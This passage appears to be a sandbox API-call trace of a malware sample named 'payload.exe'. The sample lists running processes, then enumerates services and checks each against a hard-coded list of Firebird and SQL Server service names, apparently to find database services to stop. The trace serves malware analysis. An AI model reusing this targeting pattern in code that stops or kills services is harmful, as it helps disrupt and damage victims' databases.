[0129.935] Process32FirstW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.935] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0129.936] lstrlenW (lpString="System") returned 6 [0129.936] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0129.937] lstrlenW (lpString="smss.exe") returned 8 [0129.937] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.937] lstrlenW (lpString="csrss.exe") returned 9 [0129.938] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0129.938] lstrlenW (lpString="wininit.exe") returned 11 [0129.938] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.939] lstrlenW (lpString="csrss.exe") returned 9 [0129.939] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0129.940] lstrlenW (lpString="winlogon.exe") returned 12 [0129.940] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0129.941] lstrlenW (lpString="services.exe") returned 12 [0129.941] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0129.941] lstrlenW (lpString="lsass.exe") returned 9 [0129.941] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.942] lstrlenW (lpString="svchost.exe") returned 11 [0129.942] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0129.943] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0129.943] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0129.943] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0129.943] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.944] lstrlenW (lpString="svchost.exe") returned 11 [0129.944] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0129.945] lstrlenW (lpString="dwm.exe") returned 7 [0129.945] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.945] lstrlenW (lpString="svchost.exe") returned 11 [0129.945] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.946] lstrlenW (lpString="svchost.exe") returned 11 [0129.946] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.947] lstrlenW (lpString="svchost.exe") returned 11 [0129.947] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.947] lstrlenW (lpString="svchost.exe") returned 11 [0129.947] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.948] lstrlenW (lpString="svchost.exe") returned 11 [0129.948] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.949] lstrlenW (lpString="svchost.exe") returned 11 [0129.949] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.949] lstrlenW (lpString="svchost.exe") returned 11 [0129.949] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.950] lstrlenW (lpString="svchost.exe") returned 11 [0129.950] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.951] lstrlenW (lpString="svchost.exe") returned 11 [0129.951] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.951] lstrlenW (lpString="svchost.exe") returned 11 [0129.951] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0129.952] lstrlenW (lpString="spoolsv.exe") returned 11 [0129.952] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.953] lstrlenW (lpString="svchost.exe") returned 11 [0129.953] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0129.953] lstrlenW (lpString="audiodg.exe") returned 11 [0129.953] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0129.954] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0129.954] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0129.955] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0129.955] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0129.955] lstrlenW (lpString="Memory Compression") returned 18 [0129.956] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0129.956] lstrlenW (lpString="sihost.exe") returned 10 [0129.956] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.957] lstrlenW (lpString="svchost.exe") returned 11 [0129.957] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0129.957] lstrlenW (lpString="taskhostw.exe") returned 13 [0129.957] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0129.958] lstrlenW (lpString="msoia.exe") returned 9 [0129.958] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0129.959] lstrlenW (lpString="explorer.exe") returned 12 [0129.959] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0129.960] lstrlenW (lpString="SearchUI.exe") returned 12 [0129.960] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0129.960] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0129.960] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0129.961] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0129.961] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0129.962] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0129.962] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0129.962] lstrlenW (lpString="payload.exe") returned 11 [0129.962] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0129.963] lstrlenW (lpString="cmd.exe") returned 7 [0129.963] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0129.964] lstrlenW (lpString="conhost.exe") returned 11 [0129.964] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0129.964] lstrlenW (lpString="mode.com") returned 8 [0129.964] Process32NextW (in: hSnapshot=0x42c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0129.965] CloseHandle (hObject=0x42c) returned 1 [0129.965] Sleep (dwMilliseconds=0x1f4) [0130.629] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x443e0a8 [0130.629] EnumServicesStatusExW (in: hSCManager=0x443e0a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0130.630] GetLastError () returned 0xea [0130.630] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1bc4) returned 0x5b2780 [0130.630] EnumServicesStatusExW (in: hSCManager=0x443e0a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5b2780, cbBufSize=0x1bc4, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5b2780, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0130.630] CloseServiceHandle (hSCObject=0x443e0a8) returned 1 [0130.631] lstrlenW (lpString="AppXSvc") returned 7 [0130.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0130.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0130.631] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0130.631] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0130.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0130.631] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0130.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0130.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0130.631] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0130.631] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0130.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0130.631] lstrlenW (lpString="Audiosrv") returned 8 [0130.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0130.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0130.631] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0130.631] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0130.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0130.631] lstrlenW (lpString="BFE") returned 3 [0130.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0130.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0130.631] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0130.631] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0130.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0130.631] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0130.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0130.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0130.631] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0130.631] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0130.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0130.632] lstrlenW (lpString="CDPSvc") returned 6 [0130.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0130.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0130.632] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0130.632] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0130.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0130.632] lstrlenW (lpString="ClickToRunSvc") returned 13 [0130.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0130.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0130.632] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0130.632] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0130.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0130.632] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0130.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0130.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0130.632] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0130.632] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0130.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0130.632] lstrlenW (lpString="CryptSvc") returned 8 [0130.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0130.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0130.632] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0130.632] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0130.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0130.632] lstrlenW (lpString="DcomLaunch") returned 10 [0130.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0130.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0130.632] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0130.632] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0130.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0130.632] lstrlenW (lpString="DeviceAssociationService") returned 24 [0130.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0130.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0130.632] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0130.632] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0130.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0130.633] lstrlenW (lpString="Dhcp") returned 4 [0130.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0130.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0130.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0130.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0130.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0130.633] lstrlenW (lpString="Dnscache") returned 8 [0130.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0130.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0130.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0130.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0130.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0130.633] lstrlenW (lpString="DPS") returned 3 [0130.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0130.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0130.633] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0130.633] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0130.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0130.633] lstrlenW (lpString="DusmSvc") returned 7 [0130.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0130.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0130.633] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0130.633] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0130.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0130.633] lstrlenW (lpString="EventLog") returned 8 [0130.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0130.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0130.633] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0130.633] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0130.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0130.633] lstrlenW (lpString="EventSystem") returned 11 [0130.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0130.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0130.633] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0130.633] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0130.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0130.634] lstrlenW (lpString="FontCache") returned 9 [0130.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0130.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0130.634] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0130.634] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0130.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0130.634] lstrlenW (lpString="gpsvc") returned 5 [0130.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0130.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0130.634] lstrcmpiW 